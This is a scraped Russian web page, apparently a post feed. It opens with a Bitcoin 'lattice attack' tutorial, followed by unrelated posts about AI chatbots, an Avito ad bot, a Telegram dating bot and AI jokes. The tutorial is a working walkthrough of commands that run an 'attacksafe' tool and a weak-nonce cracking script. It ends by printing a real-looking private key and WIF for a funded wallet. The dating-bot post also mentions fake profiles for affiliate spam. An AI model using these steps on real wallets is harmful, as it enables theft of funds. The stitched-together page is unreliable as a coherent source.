LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA
В наших самых ранних работах мы опубликовали статью на тему “LATTICE ATTACK” как полноценное решение HNP [Hidden Number Problem], но с недавним появлением новой атаки “POLYNONCE ATTACK”, мы решили дополнить статью с использованием 79 signatures ECDSA.
Исходя из прошлой статьи, где за полиному мы брали 128 bits и с фактическим увеличение количество подписей мы приблизим значение полиномы до 249 bits.
Все что нам нужно это решить проблему скрытых чисел.
В этой статье мы разберем пять независимых примеров криптоанализа блокчейна Биткоин. Все примеры будут загружены в репозитории GitHub.
За теоретическую основу мы будем брать материалы:
“Lattice Attack on Bitcoin”
Рассмотрим пример с Биткоин Адресом:
RawTX
"hex": 010000000afa0765dc83c2e04b53a03ad9f5e7603f974c5a70e7a486bc957e72809facab7b2d0000006a4730440220746bd0443317a77c069bddae306dc658ec740bb1a6312bdcb4ce666bae42e988022066c34dd48f0e34ae4aefd28564f46fb7473d0b49d55adb716b9f04e663d0a9890121033ee89b98b1d6e71285314e1d1c753003a7a80c17f46146a91077006c76e25e7affffffff................................
Перейдем на официальный сайт: https://colab.research.google.com
Выберем опцию “Upload notebook”
Загрузим файл: LATTICE_ATTACK_249bits.ipynb
Скачаем HEX-данные через утилиту wget и сохраним в файл: RawTX.txt
Запустим код и получим нужные нам биты RawTX
Чтобы реализовать атаку мы воспользуемся программным обеспечение
Права доступа:
!chmod +x attacksafe
ls
Применение:
!./attacksafe -help
!./attacksafe -version
Version 5.3.4. [ATTACKSAFE SOFTWARE, © 2023]
"ATTACKSAFE SOFTWARE" включает в себя все популярные атаки на Биткоин.
Запустим список всех атак:
!./attacksafe -list
Выберем -tool: lattice_attack
Чтобы получить определенные HEX значение R,S,Z к подписи ECDSA, мы ранее добавили данные RawTX через утилиту echo в текстовый документ и сохранили как файл RawTX.txt
Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv
Мы запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv
Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv
Для того чтобы рассчитать приватный ключ к Биткоин Кошельку из файла SignatureRSZ.csv мы установим SageMath
Ранее мы опубликовали статью, скачаем tar-file: sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
!wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.b... !tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
Перейдем по каталогу:
cd SageMath/
ls
Запустим Python-script: relocate-once.py по команде:
!python3 relocate-once.py
Переместим "AttackSafe" и "SignatureRSZ.csv" в папку "SageMath"
!mv '/content/attacksafe' '/content/SageMath/attacksafe' !mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv'
ls
Скачаем скрипт crack_weak_ECDSA_nonces_with_LLL.py от Dario Clavijo через утилиту wget
Теперь запустим SageMath по команде:
!./sage -sh
Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры 249 bits 79 sign
python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt
cat PrivateKey.txt
Откроем файл: PrivateKey.txt
Мы получили приватный ключ к Биткоин Кошельку в HEX формате
PrivKey = 0x9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941
Результат:
Мы получили 79 одинаковых первоначальных bits от 249
Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.
Проверим HEX приватного ключа:
Установим модуль bitcoin
!pip3 install bitcoin
PrivKey = 0x9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941
Проверим POLYNONCE для каждой подписи ECDSA
Для этого воспользуемся кодом из GITHUB
Откроем файл: PrivateKeyAddr.txt
9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941:19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z
Откроем bitaddress и проверим:
ADDR: 19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z WIF: L2PhDrYZw6fWqeLZMnMeAXvxZ47MEnepaQVLL2EazbRhqesytoQB HEX: 9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941
BALANCE: $ 1015.58
Literature:
Новый конкурент Chat GPT: Baidu представила чат-бота Ernie Bot
Китайская технологическая компания Baidu представила чат-бота Ernie Bot, который может понимать и отвечать на сложные вопросы. Бот основан на языковой модели Ernie, которая была обучена на огромном наборе данных текста и кода.
Ernie Bot может отвечать на вопросы по широкому кругу тем, включая науку, технологии, историю и культуру. Он также может выполнять математические расчеты, переводить языки и создавать различные творческие форматы текста, такие как стихи, код, сценарии, музыкальные произведения, письма и т. д.
Baidu утверждает, что Ernie Bot превосходит своего главного конкурента, ChatGPT от OpenAI, в нескольких важных тестах. В частности, Ernie Bot лучше понимает контекст сложных вопросов и может давать более информативные ответы.
Baidu планирует использовать Ernie Bot для различных целей, включая улучшение своей поисковой системы, развитие облачных вычислений и создание новых продуктов и услуг.
Пекин рассматривает искусственный интеллект как ключевую отрасль, способную конкурировать с Соединенными Штатами, и стремится стать мировым лидером к 2030 году.
Chat GPT-4 пока что самая популярная ИИ. Из РФ пользоваться можно тут.
Чат-бот Алёнка: Революция в мире объявлений на Авито с помощью искусственного интеллекта
Введение
Каждый день миллионы людей сталкиваются с необходимостью создать объявление на Авито. Это может быть утомительным и занимать много времени. Но что, если я скажу, что есть способ сделать это быстро, эффективно и даже весело? Давайте поговорим о Чат-боте Алёнке — вашем персональном ассистенте в мире Авито, подкреплённом искусственным интеллектом.
Что такое Чат-бот Алёнка?
Чат-бот Алёнка — это ваш собственный, персонально созданный помощник для всего, что связано с Авито. От идеи до публикации объявления — Алёнка рядом, чтобы сделать этот процесс максимально гладким. Этот бот разработан на базе передовых технологий искусственного интеллекта и обучен специальными методиками копирайтинга.
Искусственный интеллект в действии
Слово "искусственный интеллект" уже давно не звучит как что-то из области фантастики. С каждым днём технологии становятся всё более доступными. Чат-бот Алёнка — яркий пример того, как AI может быть использован для решения конкретных задач в повседневной жизни.
Искусственный интеллект позволяет Алёнке анализировать большие объёмы данных о том, какие тексты наиболее эффективны для различных типов товаров и услуг. Это дает возможность генерировать тексты объявлений, которые не только креативны, но и оптимизированы для конверсии.
Почему именно Чат-бот Алёнка?
Индивидуальный подход
Ваш продукт или услуга уникальны, и ваше объявление должно быть таким же. Алёнка учитывает характеристики вашего товара и вашу целевую аудиторию, чтобы создать идеально подходящий текст.
Невероятная скорость
Таймер на вашем телефоне покажет: всего несколько секунд — и у вас в руках готовое объявление, созданное профессионалом.
Качество как приоритет
С алгоритмами искусственного интеллекта, Чат-бот Алёнка способна выдавать тексты, которые могли бы позавидовать даже опытные копирайтеры.
Как это работает?
Начало работы: Просто перейдите в Telegram и найдите "Чат-бот Алёнка".
Интеракция: Задайте свой вопрос или описывайте товар. Вы также можете загрузить фотографии или даже видео.
Магия AI: Искусственный интеллект обрабатывает ваш запрос, применяя алгоритмы машинного обучения для анализа данных и генерации текста.
Результат: Вуаля! Ваши объявления готовы к публикации.
Что вы получите, используя Чат-бота Алёнка?
Экономию времени: Минимум усилий для создания максимально качественных объявлений.
Профессиональное качество: Ваши объявления будут неотличимы от тех, которые создают профессиональные копирайтеры.
Разнообразие: Чат-бот может создать тексты для разных категорий товаров и услуг.
Заключение
В эпоху информационных технологий искусственный интеллект становится нашим надёжным партнёром в решении повседневных задач. Чат-бот Алёнка — это шаг в будущее, когда машины будут работать в тесном сотрудничестве с человеком, существенно облегчая его жизнь. Не упустите шанс стать частью этого удивительного мира, где технологии служат на благо человека.
Chat-GPT (белый) и Bard (черный) играют в шахматы
Использовать Chat GPT-4 в РФ можно через telegram бота. Доступ через api и дешевле, чем официальная версия с сайта.
Создал простой Чат-бот знакомств в телеграмм
Очень хотелось своего чат-бота в тг для знакомств, облазив весь интернет(не очень хорошо) я решил, что лучше заказть его на просторах кворка, и за 4тыс нашел того кто сделает копию дайвинчика, но как оказалась по итогу, бот сделан ровно на 4 тыс, сделан в принципе не плохо, но только с виду, если чуть не туда нажать, то всё ломается, вообщем в него нужно еще вкладывать. Спустя пару дней, мне написал знакомый, который дал мне другого бота бесплатно, но как оказалось его не так просто установить, поискав пару дней того кто сможет, нашёлся парень который спустя два часа его запустил, и вот что вышло:
![](https://cs14.pikabu.ru/post_img/2023/09/24/10/1695576063138358683.jpg)
![](https://cs14.pikabu.ru/post_img/2023/09/24/10/1695576062161468691.jpg)
![](https://cs13.pikabu.ru/post_img/2023/09/24/10/1695576063119041855.jpg)
![](https://cs13.pikabu.ru/post_img/2023/09/24/10/1695576064173358028.jpg)
![](https://cs13.pikabu.ru/post_img/2023/09/24/10/1695576064188765946.jpg)
брал на github
Его можно найти на гидхабе, но нужно будет найти кто установить, да и вложить нужно еще чтобы нормально всё работало, радует что на телефоне геолокацию можно ставить.
А дальше можно в тойже телеге продвигать, и делать платную подписку, и еще как делают арбитражники, создают фейк анкеты чтобы кидать партнёрские программы в лс и т.д.
Юмор от ИИ
Хочу рассказать о главном персонаже нашего канала - это аватар НейроЮмора. Создание этого аватара было долгим и тщательным процессом, особенно важным было подобрать такое лицо, которое было бы максимально похоже на человеческое, чтобы наш искусственный интеллект мог оживить его. Мы с нетерпением ждем вашей обратной связи - как вам нравится наш аватар?
Шутки от ИИ публикуются 7 раз в день, и мы надеемся, что хотя бы одна из них сможет вызвать у вас улыбку. Для нас это уже будет большим успехом. Вы можете просматривать все наши шутки на нашем телеграм-канале НейроЮмор по ссылке: https://t.me/neiroumor/557
Поиграем в бизнесменов?
Одна вакансия, два кандидата. Сможете выбрать лучшего? И так пять раз.
Боты на рынке труда: новый тренд или будущее рекрутинга?
Современные технологии делают шаги, которые раньше казались невозможными. Теперь боты не просто помогают нам в повседневных задачах, но и активно "подаются" на вакансии! Если вы ещё думаете, что рекрутинг — это исключительно человеческая деятельность, подумайте ещё раз.
Новый скрипт умеет анализировать вакансии, сравнивать их с резюме и даже писать индивидуальные сопроводительные письма. И это всё в стиле конкретного кандидата!
Так что, готовы к новой эре рекрутинга? Если ваши рекрутеры ещё "из кожи", пора задуматься о будущем вашего бизнеса. 😉🔍📝